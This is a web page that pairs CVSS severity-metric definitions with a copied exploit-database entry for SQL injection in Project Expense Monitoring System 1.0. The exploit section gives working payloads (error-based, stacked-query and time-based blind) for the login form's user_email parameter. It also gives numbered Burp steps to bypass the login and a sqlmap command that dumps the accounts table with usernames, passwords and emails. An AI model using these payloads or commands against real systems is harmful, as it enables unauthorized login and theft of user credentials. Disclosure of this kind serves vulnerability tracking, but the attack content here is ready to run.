The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Project Expense Monitoring System 1.0 SQL Injection
# Exploit Title: Project Expense Monitoring System | SQL Login Bypass (Multiple)
# Exploit Author: Richard Jones
# Date: 2021-03-28
# Vendor Homepage: https://www.sourcecodester.com/php/14001/project-expense-monitoring-system-project-php-source-code-2020.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14001&title=Project+Expense+Monitoring+System+Project+in+PHP+With+Source+Code+
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
Parameter: user_email (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: [email protected]' AND GTID_SUBSET(CONCAT(0x716a6a6271,(SELECT (ELT(2231=2231,1))),0x71626b7a71),2231)-- zfOO&user_pass=a&btnLogin=Login
Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: [email protected]';SELECT SLEEP(5)#&user_pass=a&btnLogin=Login
Vector: ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 2456 FROM (SELECT(SLEEP(5)))Dqoh)-- MoOh&user_pass=a&btnLogin=Login
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
#URL: http://TARGET/pems/login.php
Steps:
1) Capture post request in burp.
2) Change post data to
```
[email protected]' AND (SELECT 2456 FROM (SELECT(SLEEP(5)))Dqoh)-- MoOh&user_pass=a&btnLogin
```
3) Logged in.
Addition:
Use sqlmap on the saved post request (save as sql.txt)
```
sqlmap -r sql.txt --batch -D pemsdb -T tblaccounts
```
Will list applications users,passwords,emails,accounttype
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